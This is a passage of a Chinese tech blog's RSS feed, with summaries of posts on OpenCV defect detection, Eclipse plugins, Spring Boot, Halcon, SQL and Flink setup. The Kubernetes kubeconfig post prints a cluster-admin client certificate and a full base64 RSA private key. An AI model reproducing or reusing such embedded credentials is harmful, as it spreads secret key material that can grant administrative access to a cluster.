      <pubDate>Mon, 18 Dec 2023 15:25:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/31ecf0690848c77f43c3a4303eb752c0/</guid>
      <description>机器视觉 机器视觉是使用各种工业相机，结合传感器跟电气信号实现替代传统人工，完成对象识别、计数、测量、缺陷检测、引导定位与抓取等任务。其中工业品的缺陷检测极大的依赖人工完成，特别是传统的3C制造环节，产品缺陷检测依赖于人眼睛来发现与检测，不仅费时费力还面临人员成本与工作时间等因素的制约。使用机器视觉来实现产品缺陷检测，可以节约大量时间跟人员成本，实现生产过程的自动化与流水线作业。&#xA;缺陷检测 常见得工业品缺陷主要包括划痕、脏污、缺失、凹坑、裂纹等，这些依赖人工目检（眼睛检测）的缺陷都可以通过机器视觉的缺陷检测算法来实现替代。当前工业缺陷检测算法目前主要分为两个方向，基于传统视觉的算法和基于深度学习的算法，前者主要依靠对检测目标的特征进行量化，比如颜色，形状，长宽，角度，面积等，好处是可解释性强、对样本数量没有要求、运行速度快，缺点是依赖于固定的光照成像，稍有改动就要改写程序重新部署，而且检测规则和算法跟开发者经验其主导作用。基于深度学习的缺陷检测算法刚好能弥补前者的不足之处，能够很好适应不同的光照，更好地适配同类缺陷要求，缺点是对样本数量有一定要求，对硬件配置相比传统也会有一定要求。&#xA;《OpenCV应用开发：入门、进阶与工程化实践》一书第十四 章 通过案例详细介绍基于OpenCV如何实现传统方式的缺陷检测跟基于深度学习的缺陷检测。&#xA;工业上常见缺陷检测方法&#xA;方法一：基于简单二值图像分析实现划痕提取，效果如下：&#xA;方法二：复杂背景下的图像缺陷分析，基于频域增强的方法实现缺陷检测，运行截图：&#xA;方法三：复杂背景下的图像缺陷分析，基于空域增强实现图像缺陷分析，针对复杂背景的图像，通过空域滤波增强以后实现缺陷查找，运行截图如下：&#xA;方法四：基于样品模板比对实现基于空域增强实现图像缺陷分析，通过二之分析与轮廓比对实现缺陷查找，运行截图如下：&#xA;方法五：基于深度学习UNet模型网络，实现裂纹与划痕检测，运行截图如下：&#xA;方法六：基于深度学习实例分割网络模型网络，实现细微缺陷检测，运行截图如下：&#xA;以上内容均来自最近出版的一本新书《OpenCV应用开发：入门、进阶与工程化实践》一书第十四章，分享给大家。&#xA;延伸阅读 OpenCV4应用开发：入门、进阶与工程化实践 贾志刚 张振 著 工业界和学术界专家联袂推荐 一线开发专家与金牌讲师撰写，一站式解决OpenCV工程化开发痛点 推荐语 以工业级视觉应用开发所需知识点为主线，讲透OpenCV相关核心模块，案例化详解1000个常用函数、深度学习知识以及模型的推理与加速。&#xA;本书专注于介绍OpenCV4在工业领域的常用模块，通过合理的章节设置构建了阶梯式的知识点学习路径。化繁就简、案例驱动，注重算法原理、代码演示及在相关场景的实际使用。本书还介绍了必备的深度学习知识与开发技巧，拓展OpenCV开发者技能。</description>
    </item>
    <item>
      <title>PythonStudio：国人开发的python窗体IDE，学生管理系统</title>
      <link>https://bchobby.github.io/posts/f0d5a05ac9703cef189568939397e7c9/</link>
      <pubDate>Mon, 18 Dec 2023 15:22:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f0d5a05ac9703cef189568939397e7c9/</guid>
      <description>国人开发的python窗体设计IDE，详情请看：PythonStudio：一款国人写的python及窗口开发编辑IDE，可以替代pyqt designer等设计器了-CSDN博客&#xA;这个软件作者还录制了入门的教程，跟着视频做，是个不错的python视频教程呢。从软件的使用，窗体的设计，到python的学习， 对小白来说很友好啊。&#xA;最最最主要的，这个软件自带很多皮肤，漂亮的皮肤。&#xA;我跟着教程做这个学生信息管理系统，感觉使用它来做python窗口软件程序，真的很方便快捷。&#xA;Project1.py&#xA;from delphivcl import * from Unit1 import * def main(): Application.Initialize() Application.Title = &#39;学生管理系统&#39; MainForm = Form1(Application) MainForm.Show() FreeConsole() Application.Run() if __name__ == &#39;__main__&#39;: main() Unit1.py&#xA;import os from delphivcl import * from Unit2 import * from Unit3 import * from Unit4 import * from Unit5 import * class Form1(Form): def __init__(self, owner): self.Button7 = Button(self) self.Button6 = Button(self) self.Button5 = Button(self) self.</description>
    </item>
    <item>
      <title>mac上eclipse打开多个workspace开发窗口</title>
      <link>https://bchobby.github.io/posts/ec88fbfd76e008ca7e278a0d88d22b3a/</link>
      <pubDate>Mon, 18 Dec 2023 14:55:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ec88fbfd76e008ca7e278a0d88d22b3a/</guid>
      <description>eclipse插件：macOS Eclipse Launcher 在windoes平台上，双击桌面eclipse的图标就可以启动多个eclipse示例，打开不同的workspace进行开发。在mac上，eclipse默认只能打开一个workspace，网上说可以通过如下方式打开不同的实例：&#xA;cd /Applications/eclipse/ open -n Eclipse.app 上面方式没有试过，今天找到了一个eclipse的插件——macOS Eclipse Launcher，可以解决mac上的多实例：&#xA;在eclipse市场上搜索，然后点击安装即可，&#xA;安装成功后，会在File菜单中出现一个open worksapces的选项：&#xA;目前该插件版本是3.0.3，只支持Eclipse IDE 2021-12以上版本。上面那种方式无法指定插件版本，这里提供一种离线安装的方法：&#xA;https://github.com/turesheim/eclipse-launcher/releases&#xA;比如下载3.0.2的release，解压后如下：（也可以在这里下载https://download.csdn.net/download/liuxiao723846/88640141）&#xA;将上述三个jar包分别拷贝到eclipse的安装目录的对应文件夹中：&#xA;lombok插件： 1、下载lombok.jar：Download 2、配置：&#xA;将lombok.jar放到eclipse的安装目录下（和eclipse.ini一个路径）&#xA;mv ~/lombok.jar /Applications/Eclipse.app/Contents/Eclipse/ 修改eclipse.ini文件，添加如下内容：&#xA;-Xbootclasspath/a:lombok.jar -javaagent:/Applications/Eclipse.app/Contents/Eclipse/lombok.jar 最后，重启eclipse即可。</description>
    </item>
    <item>
      <title>0088__pthread_cond_broadcast和pthread_cond_wait使用</title>
      <link>https://bchobby.github.io/posts/7904eace447993d6918c531fac1ece24/</link>
      <pubDate>Mon, 18 Dec 2023 14:36:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7904eace447993d6918c531fac1ece24/</guid>
      <description>pthread_cond_broadcast和pthread_cond_wait使用-CSDN博客</description>
    </item>
    <item>
      <title>Spring Boot入门指南</title>
      <link>https://bchobby.github.io/posts/5c4bc559035c324d0ff887692ddaf705/</link>
      <pubDate>Mon, 18 Dec 2023 13:18:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5c4bc559035c324d0ff887692ddaf705/</guid>
      <description>本文为官方文档直译版本。原文链接&#xA;Spring Boot入门指南 引言Spring Boot 简介系统要求Servlet 容器GraalVM 原生镜像 安装 Spring BootJava 开发人员安装说明安装 Maven安装 Gradle 安装 Spring Boot CLI手动安装使用 SDKMAN 安装！使用 OSX Homebrew 安装使用 MacPorts 安装命令行完成Windows Scoop 安装 开发你的第一个 Spring Boot 应用程序先决条件MavenGradle 使用 Maven 创建项目使用 Gradle 创建项目添加类路径依赖MavenGradle 编写代码@RestController 和 @RequestMapping 注解@SpringBootApplication 注解“main”方法 运行示例MavenGradle 创建可执行 JarMavenGradle 引言 如果您要开始学习 Spring Boot 或一般意义上的 “Spring”，请先阅读本节内容。它回答了 “是什么？”、&#34;怎么做？&#34;和 &#34;为什么？&#34;等基本问题。其中包括 Spring Boot 简介和安装说明。然后，我们将引导您构建第一个 Spring Boot 应用程序，并讨论一些核心原则。&#xA;Spring Boot 简介 Spring Boot 可帮助您创建可运行的基于 Spring 的独立生产级应用程序。我们对 Spring 平台和第三方库持开放的态度，因此您可以轻松上手。大多数 Spring Boot 应用程序只需要很少的 Spring 配置。</description>
    </item>
    <item>
      <title>什么是k8s上下文？kubeconfig配置文件讲解</title>
      <link>https://bchobby.github.io/posts/4b3214855deb3cebad8f17e6bc8f848e/</link>
      <pubDate>Mon, 18 Dec 2023 11:11:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4b3214855deb3cebad8f17e6bc8f848e/</guid>
      <description>目录 前言上下文的概念k8s上下文kubectl命令行工具是如何连接k8s集群的？图解kubectlconfig配置文件使用kubectl config命令生成kubeconfig文件安装kubectl命令行工具kubectl管理多个k8s集群 前言 环境：centos7.9 k8s 1.22.7&#xA;上下文的概念 在计算机领域中，开发工程师进行代码开发的时候，我们经常会听到上下这个概念，那么，什么是上下文？&#xA;上下文，英文单词是context，释义为：背景，环境，上下文，语境。&#xA;context上下文可以被看作是传递信息的桶。 它通常用于传递不一定直接绑定到方法调用的东西，但仍然可以是相关的。&#xA;例如，你正在编写C#程序，那么可以将多个mysql的链接信息定义为上下文，这样，当代码里需要更新数据时，就可以通过调用上下文来链接到指定的数据库了。&#xA;k8s上下文 在k8s中，上下文（context）是集群信息、用户和命名空间的组合这样一个概念。&#xA;我们知道，在k8s集群中，可以有多个用户，而我们最熟悉的就是使用kubectl命令行工具去连接k8s集群，但是kubectl是怎么去连接k8s集群的呢？&#xA;答案就是，kubectl命令行工具通过kubeconfig配置文件去连接k8s集群，而这个kubeconfig配置文件（默认是~/.kube/config）其实就是上下文（context），这个kubeconfig配置文件内容其实就包含了集群信息、用户和命名空间等信息，当我们要使用不同的用户链接k8s集群时，我们只需要创建各个用户对应的kubeconfig配置文件，然后通过kubectl命令切换上下文即可，如kubectl config use-context default。这样，不同的用户就通过自己的kubeconfig配置文件连接上了k8s集群。&#xA;我们在使用kubectl命令行时，如kubectl get pod 不写命名空间，默认就是default命名空间，那么，这种默认是如何定义的呢？答案就是kubeconfig文件里面的上下文配置。&#xA;kubectl命令行工具是如何连接k8s集群的？ kubectl命令行工具是通过kubeconfig配置文件来连接k8s集群的，这个kubeconfig配置文件默认就是/root/.kube/config，在我们使用kubeadm安装k8s集群时，默认自动生成了这个文件。&#xA;#查看集群kubeconfig配置文件 [root@matser ~]# ll /root/.kube/config -rw-------. 1 root root 6293 11月 1 2022 /root/.kube/config [root@matser ~]# cat /root/.kube/config apiVersion: v1 clusters: - cluster: certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUR4RENDQXF5Z0F3SUJBZ0lVTVJKL0pIeFlMWjF0dVIwczZlekc4TVBLd2Nnd0RRWUpLb1pJaHZjTkFRRUwKQlFBd2FERUxNQWtHQTFVRUJoTUNRMDR4RWpBUUJnTlZCQWdUQ1NCVGFHVnVlbWhsYmpFUk1BOEdBMVVFQnhNSQpVMmhsYm5wb1pXNHhEREFLQmdOVkJBb1RBMnM0Y3pFUE1BMEdBMVVFQ3hNR1UzbHpkR1Z0TVJNd0VRWURWUVFECkV3cHJkV0psY201bGRHVnpNQjRYRFRJeU1URXdNVEE0TXprd01Gb1hEVEkzTVRBek1UQTRNemt3TUZvd2FERUwKTUFrR0ExVUVCaE1DUTA0eEVqQVFCZ05WQkFnVENTQlRhR1Z1ZW1obGJqRVJNQThHQTFVRUJ4TUlVMmhsYm5wbwpaVzR4RERBS0JnTlZCQW9UQTJzNGN6RVBNQTBHQTFVRUN4TUdVM2x6ZEdWdE1STXdFUVlEVlFRREV3cHJkV0psCmNtNWxkR1Z6TUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF2dE40ZUhTZmlpK3EKbUFKSkg5QmpOeWVBS2tzNk1Mb2o2U0g1TDVTbmZnOWtMWngrYU9xaHdzWXRWWW5IK0h6clRGR25JVUorZTJXbwo0djQ5QmFFblZwMmRhZzRQSkZqSU9VVkMzNEF1YjFhK2MxV3dJWkJrMDlvWUNFWEEwOWVCa1VHMmNWYTNDZHpZCmRORWpTK2xsZEdsbjY4eDdBZFFBTVVZQ2RTOFF2UXU5ZkJEcStEb3pNTWNhRWJ1Q29Yd2NVZ2ZrTnNIa2RXNmgKd1NwaVZhd2s2R25ZWEM0c0JlRU1pZWxaVmQ1Q055WDl1Z1pKYVFCUXBjQk40OWtlT2libCtXOEdzcXlKOE9INApwdW5qYVpYcVBiMzJVc05Xek52cVUyVDRQK21FN2tiTHpjbzZONjg1SkhLNXlPSEE0a2NiZ21JRnNOWU53b1BzCkI2bEMwOEJ6RVFJREFRQUJvMll3WkRBT0JnTlZIUThCQWY4RUJBTUNBUVl3RWdZRFZSMFRBUUgvQkFnd0JnRUIKL3dJQkFqQWRCZ05WSFE0RUZnUVVsTlNQVTFQL1plQnpnNkN4QS9KcFRFQkpJNDh3SHdZRFZSMGpCQmd3Rm9BVQpsTlNQVTFQL1plQnpnNkN4QS9KcFRFQkpJNDh3RFFZSktvWklodmNOQVFFTEJRQURnZ0VCQUczcndDa2UyNzhxCkJNeVpoKzF0QjJncmU3d1BTTFJGRElnNHR0MHlMcnZGMnMrWVZtazk2SFZ4K3NOM2RpWm1jbXZSdnVpaEFFSU4KSjlwOHVwQ2U1cE15aXhzb0V5MDgrYUxiVjc4V3pwMHZGRVozOVpYbWt1T3haREpRTTk5QU8rYmdOQ0NJdFRPeApzVmJrNCt3SnF2RlpmWlFlTkFXODUzVEFjdjYvbHo3MG5ldDVZN2RjMG00ZGJxUU1uWkVrZzJvd1l1dys2MVBUCmdTd0NIanpMNDdLNytqeFVmZ3UvQTVhVzRqY0ZzUFphZTJrY2xURUc0RSt6QkdXb2l6aS96aFlVODdsdC9ESWwKZGZDQXJTVTg2dk5WSHRSMVl0SGhneHk2TGszWGFhdTZyUXBRQno4Wmt1a0lBWitMdzVSQkV6UVVocmVFeFRTbQpHNmdiaEVHVit1ST0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo= server: https://192.168.118.140:6443 name: kubernetes contexts: - context: cluster: kubernetes user: cluster-admin name: default current-context: default kind: Config preferences: {} users: - name: cluster-admin user: client-certificate-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUQ0akNDQXNxZ0F3SUJBZ0lVQ3pzbmY3d2EzYzMvdU5sS21LaEVaeThWV0I0d0RRWUpLb1pJaHZjTkFRRUwKQlFBd2FERUxNQWtHQTFVRUJoTUNRMDR4RWpBUUJnTlZCQWdUQ1NCVGFHVnVlbWhsYmpFUk1BOEdBMVVFQnhNSQpVMmhsYm5wb1pXNHhEREFLQmdOVkJBb1RBMnM0Y3pFUE1BMEdBMVVFQ3hNR1UzbHpkR1Z0TVJNd0VRWURWUVFECkV3cHJkV0psY201bGRHVnpNQjRYRFRJeU1URXdNVEV3TkRVd01Gb1hEVE15TVRBeU9URXdORFV3TUZvd2JURUwKTUFrR0ExVUVCaE1DUTA0eEVUQVBCZ05WQkFnVENGTm9aVzU2YUdWdU1SRXdEd1lEVlFRSEV3aFRhR1Z1ZW1obApiakVYTUJVR0ExVUVDaE1PYzNsemRHVnRPbTFoYzNSbGNuTXhEekFOQmdOVkJBc1RCbE41YzNSbGJURU9NQXdHCkExVUVBeE1GWVdSdGFXNHdnZ0VpTUEwR0NTcUdTSWIzRFFFQkFRVUFBNElCRHdBd2dnRUtBb0lCQVFEVEc1ODcKemNIa0IvYVh6Zit5MUVCd0QyREVVV1N0aUJKcm0ySTB4cjg5c0l2RjFkbmVyeWJkR1I0OER3N0FFWWhpVUNuTQpXSE9ZYlNkZnlxZFNTa3pmS0xQbytYd0Y2enpTZ2JJTldpRWRWYjVkWlhPenp3ck1BbHZqN0ZrZmQ5Vlh2NzdxCmhWSkkzR0h2SG5pZTdia1N0STY4aG85VkF3RmlzeUNBbllhQUlJS3kvY1k4V3p6Mk0xbmJDRU9nd0x2ZHBQQWoKT1VhZE1jYzFQR1NDTm9GZE1KZ0d1U3J4QXRVOHVqMnppN3N0ZjQxQzVSRENDbE84c09SbkpDbnNyU1I3SmZxegpMTW1MQmlvT2ZmVDFSWG9pSVhjU3FEY3REa1hCU2JDbHBrOUlFZUJGd3Q5SHNhdHZVZHZyWW8zQWVYTlF5NzBwCnh1cTB4MklqRzVvWFFJWEJBZ01CQUFHamZ6QjlNQTRHQTFVZER3RUIvd1FFQXdJRm9EQWRCZ05WSFNVRUZqQVUKQmdnckJnRUZCUWNEQVFZSUt3WUJCUVVIQXdJd0RBWURWUjBUQVFIL0JBSXdBREFkQmdOVkhRNEVGZ1FVMVMvcApvelBQc0VPTUJVR3ArN1RRL2tQTWVRY3dId1lEVlIwakJCZ3dGb0FVbE5TUFUxUC9aZUJ6ZzZDeEEvSnBURUJKCkk0OHdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBRDlXcG5xUzFRV0ZwMWVOeklOSmxuWWdDNnlnN0FhTVJuekYKNlhpdmtzK2xhcFZON0dsUS9mNXl6VDl5ZCtPU3poVDNodDJUYjVPYjBSM3BJekVLc3hFTVRvOGZsV1liN3BpdwpUclF5Zk12bmhmNCs1RGU0WDNBQitjTFUwc3NESlFVZjVBVGprMCthR0hZbXlGYmJ3TStEVFdZY2Z5a1RXMGRkCjhYNnNXK2JwWllLYzBuR3lqKy9tL0lSUVRWTVdGQWNvMUlqa0lVRThnSjMyK2ZDSzVQczFaVjVnMnV0NWVIcEwKdHRpRGtMTW9ONDVpMkI5UlhibGRkZEpPcStDOHNYVVN4Ykw1OEcvTlVPbUNqNFQvNm9FYUYvTDc2M3RtcFVELwpmbFhVeG5OU3F3SWtqNlo3d0FvUEJPbHBXK0pEeXRkMzgzYzFUWVNnU003WEhIMFd0Y0E9Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K client-key-data: LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFb3dJQkFBS0NBUUVBMHh1Zk84M0I1QWYybDgzL3N0UkFjQTlneEZGa3JZZ1NhNXRpTk1hL1BiQ0x4ZFhaCjNxOG0zUmtlUEE4T3dCR0lZbEFwekZoem1HMG5YOHFuVWtwTTN5aXo2UGw4QmVzODBvR3lEVm9oSFZXK1hXVnoKczg4S3pBSmI0K3haSDNmVlY3Kys2b1ZTU054aDd4NTRudTI1RXJTT3ZJYVBWUU1CWXJNZ2dKMkdnQ0NDc3YzRwpQRnM4OWpOWjJ3aERvTUM3M2FUd0l6bEduVEhITlR4a2dqYUJYVENZQnJrcThRTFZQTG85czR1N0xYK05RdVVRCndncFR2TERrWnlRcDdLMGtleVg2c3l6Sml3WXFEbjMwOVVWNklpRjNFcWczTFE1RndVbXdwYVpQU0JIZ1JjTGYKUjdHcmIxSGI2MktOd0hselVNdTlLY2JxdE1kaUl4dWFGMENGd1FJREFRQUJBb0lCQUVIRG1SZElRZDZIbklvdAo0am9UWlArRHl1RmRlYitWWkNlaGdEWndzNkxFSE1iRWw5cUhOZFFxdndCMnNHR2xGSmVMNFhtSEZIdW5oVnlTCkJRM2RsNVR0V1I1Nm1lZytIL1J6OHNPMkVCclRXem85SUk0ak1YbmNRa1Arbk1Ud3o4VkdObk5ZbFFtZG5lU2YKMlhPcEdyNTVBUDQ1N096T3d0KzhiYU9qYndMNmpNTWZqQ0s4bHJnNy9KQ25rSlZFNE55QTgvdkFLaXR1d09JTwpkOUhiWEZqUjg0MnVBYlVla3UzSzVCOW5JVkpiNy9lMXdNUjdxYyt6YVRxQWpqbEwxVFVKR3hpVTR5bTMwVzZzCmVNVUxCNHozRklpZ1RPN1l3dDdMZXBxd2hZN2JzTm44YXpqR05HcTNnZkoxVmIvZGtkbW85Sk5oOXFpd3dvdGMKT1ZGZVZBRUNnWUVBM3JSazdNTnYxMzdDVEFNWlpFM2JkbUFXWXdHUjNMRlgvbWhqYjhxUFptOG9tWmVkQzk2OQpBa3A1UlBucVBDQTU4NU93YVJsLzdQVzljNWcrdTcvdHcxRmkwOUhtSW1TNFhWOUlqcXBjUU5DWXhGbFVmcEhPClgvV0RXSWNtTSt2cmoxVUVUblE2cEJTbDdPWWgxT3ExVUlWOHZZK2UyLzlIUTRvSFFCMjZhcDBDZ1lFQThxdGkKRm04dUZpaVBzSmdVK2RpbE1jL0tpRnVWU0hqSGt0SkZ4Y1JBbTNxeEt2cFRUUzBuT2xDVFo3NU9Cc0hlMmFOLwpZZW1XcVQ0b2ZxMTRMZzBmZjZYRlcyeFBpS3Y4QVNyU01rK3RyaThMRmowVURYdDZxT2xKb3hPRzdOS0JBTkd1CmMwVE5JZ2FvOTFKbkk3UTRSd1JhRGhmZUdjOTlLM3liSFRjRlBIVUNnWUVBcFlPR21weHBpOHZ1bFZXY1VucTIKeDVTRUx0TGsyQk9KcFU5cHo1VEkzTVZ5ZEN4RkVLUmE3cy93cnYzYVF4TmtYbzMrQnk1bmIvSDIrbWxFL242WApNNWxTRE1Fcis1WEZtOGVNQWxQRXVuc05mcWd4YnR2b2VGTGNhamdQZ1hrdUdkbUNtTmd6R08wcm9CUXRRck9wClM0M1o5bncrQVowSkZyNEh3M1FVcnRVQ2dZQU9tS3h2dVFSR3BPM3ZxMVlucVJaV3BxOENBTEE4Q2JmSFp3cDMKV05TaUJZRSttb3dFS21FZnF0VVMrbWxyRXFJNjZSQ3liUUI0OFpveDlIRTBJK252SGFOL1drWjJiQkhlYUJyNApsNzVVcWRPNjVMV2VFZjFReDZkOFBhSnlBRDl1TXk2UkZHUmFWWmc0T0Nhb0NTRVJkSHVPT1hWTWpDUjFSeXQxCldHZmlPUUtCZ0d4S1M0WGM5ZHdRa05obERtejNRTEt6M1JqZCtNNU44UGRWTnJGVHU0VlJhUUlEbzdFY0Fra0gKcjR5R1F6YWREU2xSektJWm1mR2FSam9Rd3ZFTFYxVy90NXBkSnltQXkrT2JhVVhOcDZlb1A2TlJQRlFsOE1qMAo3cC9DQVRUZmMxWWgxSE9CVkd5UHU4YUlHNFNkS1poajJxMzdsTW1KN0lZM01sSDBqNTNiCi0tLS0tRU5EIFJTQSBQUklWQVRFIEtFWS0tLS0tCg== [root@matser ~]# 图解kubectlconfig配置文件 下面借用一张其他楼主分享的截图：</description>
    </item>
    <item>
      <title>【halcon深度学习之那些封装好的库函数】determine_dl_model_detection_param</title>
      <link>https://bchobby.github.io/posts/01cbded925b09276f0fdd2c1f1ee8d3b/</link>
      <pubDate>Mon, 18 Dec 2023 11:00:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/01cbded925b09276f0fdd2c1f1ee8d3b/</guid>
      <description>determine_dl_model_detection_param 目标检测的数据准备过程中的有一个库函数determine_dl_model_detection_param&#xA;“determine_dl_model_detection_param” 直译为 “确定深度学习模型检测参数”。&#xA;这个过程会自动针对给定数据集估算模型的某些高级参数，强烈建议使用这一过程来优化训练和推断性能。 过程签名 determine_dl_model_detection_param( : : DLDataset, ImageWidthTarget, ImageHeightTarget, GenParam : DLDetectionModelParam) 描述 该过程用于分析提供的深度学习数据集（DLDataset）以进行目标检测，以确定与锚点生成相关的模型参数。生成的DLDetectionModelParam是一个包含建议值的字典，用于各种目标检测模型的参数。&#xA;参数 DLDataset：用于目标检测的深度学习数据集的字典。ImageWidthTarget：作为模型输入的目标图像宽度（经过预处理后的图像宽度）。ImageHeightTarget：作为模型输入的目标图像高度（经过预处理后的图像高度）。GenParam：包含通用输入参数的字典。DLDetectionModelParam：包含建议的模型参数的输出字典。 参数解析 第一个参数DLDataset，就是我们读取到的数据集，数据集 （数据集就是我们标注好的图片数据集， 我们可以通过 read_dict() 读取halcon提供的数据集。也可以通过 read_dl_dataset_from_coco 读取通用的coco数据集）&#xA;图片缩放 第二，第三个参数，是图片的大小设置。我们知道数据集里是有描述图片原始大小的数据的。这里需要你输入预处理后图片的大小，也就是说，你可以通过这两个参数对图片进行缩放。一般我们会设置一个较小的大小，已加快训练的速度！&#xA;GenParam GenParam 是一个字典，包含一些通用的输入参数，可以用来影响 determine_dl_model_detection_param 过程中参数的确定。&#xA;使用输入字典GenParam，可以进一步影响参数的确定。可以设置不同的键值对来影响锚点生成和模型参数的确定。&#xA;你可以根据你的需求在 GenParam 中设置不同的键值对来调整算法的行为。以下是键和对应的值：&#xA;‘anchor_num_subscales’: 整数值（大于0），确定搜索锚点子尺度数量的上限值。默认值为3。&#xA;‘class_ids_no_orientation’: 元组，包含表示类别标识的整数值。设置那些应该忽略方向的类别的标识。这些被忽略类别的边界框被视为方向为0的轴对齐边界框。仅适用于检测实例类型为’rectangle2’的情况。&#xA;‘display_histogram’: 确定是否显示数据直方图以进行数据集的视觉分析。可能的值有’true’和’false’（默认为’false’）。&#xA;‘domain_handling’: 指定图像域的处理方式。可能的值有：&#xA;&#39;full_domain&#39;（默认）：图像不被裁剪。&#39;crop_domain&#39;：图像被缩小到其域定义。&#39;ignore_direction&#39;：布尔值（或’true’/‘false’），确定是否考虑边界框的方向。仅在检测实例类型为’rectangle2’的情况下可用。参考 ‘get_dl_model_param’ 文档以获取有关此参数的更多信息。 ‘max_level’: 整数值（大于1），确定搜索最大层级的上限值。默认值为6。&#xA;‘max_num_samples’: 整数值（大于0或-1），确定用于确定参数值的最大样本数。如果设置为-1，则选择所有样本。请注意，不要将此值设置得太高，因为这可能导致内存消耗过大，对机器造成高负载。然而，如果 ‘max_num_samples’ 设置得太低，确定的检测参数可能无法很好地代表数据集。默认值为1500。&#xA;‘min_level’: 整数值（大于1），确定搜索最小层级的下限值。默认值为2。&#xA;‘preprocessed_path’: 指定预处理目录的路径。预处理目录包含DLDataset的字典（.hdict文件），以及一个名为’samples’的子目录，其中包含预处理的样本（例如，由过程’preprocess_dl_dataset’生成）。对于已经预处理的数据集，将忽略输入参数ImageWidthTarget和ImageHeightTarget，并可将它们设置为[]。仅当数据集已经为应用程序进行了预处理时，此参数才适用。&#xA;‘image_size_constant’: 如果将此参数设置为’true’，则假定数据集中的所有图像具有相同的大小，以加速处理。图像大小由数据集中的第一个样本确定。此参数仅在数据集尚未预处理且’domain_handling’为’full_domain’时适用。默认值为’true’。&#xA;‘split’: 确定用于分析的数据集拆分。可能的值包括 ‘train’（默认）、‘validation’、‘test’ 和 ‘all’。如果指定的拆分无效或数据集未创建拆分，则使用所有样本。&#xA;‘compute_max_overlap’: 如果将此参数设置为’true’，将为数据集确定检测参数 ‘max_overlap’ 和 ‘max_overlap_class_agnostic’。</description>
    </item>
    <item>
      <title>SQL 必须被淘汰的 9 个理由</title>
      <link>https://bchobby.github.io/posts/3cfe1c317087383157d49a9f2bccdbaf/</link>
      <pubDate>Mon, 18 Dec 2023 10:50:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3cfe1c317087383157d49a9f2bccdbaf/</guid>
      <description>尽管 SQL 很受欢迎并取得了成功，但它仍然是一项悖论研究。它可能笨重且冗长，但开发人员经常发现它是提取所需数据的最简单、最直接的方法。当查询编写正确时，它可能会快如闪电，而当查询未达到目标时，它会慢得像糖蜜。它已经有几十年的历史了，但新功能仍在不断增加。&#xA;这些悖论并不重要，因为市场已经表明：SQL 是许多人的首选，即使有更新且可以说更强大的选项。世界各地的开发人员（从最小的网站到最大的大型企业）都了解 SQL。他们依靠它来组织所有数据。&#xA;SQL 的表格模型占据主导地位，以至于许多非 SQL 项目最终都添加了 SQLish 接口，因为用户需要它。 NoSQL 运动也是如此，它的发明是为了摆脱旧范式。最终，SQL 似乎获胜了。&#xA;SQL 的限制可能还不足以将其扔进垃圾箱。开发人员可能永远不会将所有数据从 SQL 中迁移出来。但 SQL 的问题足够真实，足以给开发人员带来压力、增加延迟，甚至需要对某些项目进行重新设计。&#xA;以下是我们希望退出 SQL 的九个原因，尽管我们知道我们可能不会这样做。&#xA;SQL 让事情变得更糟的 9 种方式 表格无法缩放SQL 不是 JSON 或 XML 原生的编组是一个很大的时间消耗SQL 不实时JOINS 很头疼列浪费空间优化器只是有时有帮助非规范化将表视为垃圾附加的想法可能会破坏你的数据库 表格无法缩放 关系模型喜欢表，所以我们不断构建它们。这对于小型甚至普通大小的数据库来说都很好。但在真正大规模的情况下，该模型开始崩溃。&#xA;有些人尝试通过将新旧结合起来来解决问题，例如将分片集成到旧的开源数据库中。添加层似乎可以使数据更易于管理并提供无限的规模。但这些增加的层可以隐藏地雷。 SELECT 或 JOIN 的处理时间可能截然不同，具体取决于分片中存储的数据量。&#xA;分片还迫使 DBA 考虑数据可能存储在不同机器甚至不同地理位置的可能性。如果没有意识到数据存储在不同的位置，那么开始跨表搜索的经验不足的管理员可能会感到困惑。该模型有时会从视图中抽象出位置。 某些 AWS 计算机配备24 TB RAM。为什么？因为有些数据库用户需要这么多。他们在 SQL 数据库中拥有如此多的数据，并且在一台机器的一块 RAM 中运行得更好。&#xA;SQL 不是 JSON 或 XML 原生的 SQL 作为一种语言可能是常青树，但它与 JSON、YAML 和 XML 等较新的数据交换格式的配合并不是特别好。所有这些都支持比 SQL 更分层、更灵活的格式。 SQL 数据库的核心仍然停留在表无处不在的关系模型中。</description>
    </item>
    <item>
      <title>Flink集群部署详细步骤--参考</title>
      <link>https://bchobby.github.io/posts/d711cfca93030aacf7599fa100cefc7b/</link>
      <pubDate>Mon, 18 Dec 2023 10:40:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d711cfca93030aacf7599fa100cefc7b/</guid>
      <description>参考文章：Flink集群部署详细步骤&#xA;简单Flink集群配置 生产中基本很少使用这种模式，大多数都是基于 YARN来进行提交任务，下面主要给出 YARN的任务提交配置方式。 下载Flink压缩包 下载地址： Downloads | Apache Flink。 CDH集群环境 hadoop2.6， Scala2.11，所以下载： flink-1.5.0-bin-hadoop26-scala_2.11.tgz 解压 [root@hadoop2 opt]# tar -zxf flink-1.5.0-bin-hadoop26-scala_2.11.tgz [root@hadoop2 opt]# cd flink-1.5.0 配置master 选择一个master节点， 配置conf/flink-conf.yaml&#xA;[root@hadoop2 flink-1.5.0]# vi conf/flink-conf.yaml # 设置jobmanager.rpc.address 配置项为该节点的IP 或者主机名 jobmanager.rpc.address: 10.108.4.202 配置slaves 将所有的worker节点（TaskManager）的IP或者主机名（一行一个）填入conf/slaves 文件中。&#xA;[root@hadoop2 flink-1.5.0]# vi conf/slaves 10.108.4.203 10.108.4.204 启动flink集群 [root@hadoop2 flink-1.5.0]# bin/start-cluster.sh 停止flink集群 [root@hadoop2 flink-1.5.0]# 